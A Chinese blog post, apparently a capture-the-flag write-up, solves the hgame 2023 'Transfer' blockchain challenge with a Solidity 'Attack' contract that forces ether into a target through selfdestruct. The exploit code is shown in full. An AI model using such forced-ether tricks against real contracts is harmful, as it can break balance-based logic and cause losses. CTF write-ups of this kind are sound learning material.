2023 hgame趣题——1

hgame 2023 week2 Transfer

借hgame开始入门学习自己一直想接触的Blockchain方向,在四周的比赛时间内会记录hgame中有趣的问题,Crypto方向等a掉四周的题目一起放出来

源代码:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;

contract Transfer{
    constructor() {}

    function isSolved() public view returns(bool) {
        return address(this).balance >= 0.5 ether;
    }
}

需要使得balance的值≥0.5,这里使用合约自毁函数selfdestruct,传入payable address类型参数,自毁后该合约余额全部传入参数地址中
exp:

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.7;

contract Attack{
    uint public balance = 0;

    function destruct(address payable _to) external payable {
        selfdestruct(_to);
    }
    
    function deposit() external payable {
        balance += msg.value;
    }

}


编译后顺序执行deposit destruct即可

第一道成功解出的Blockchain

posted @ 2023-01-21 01:00  App1e_Tree  阅读(294)  评论(0编辑  收藏  举报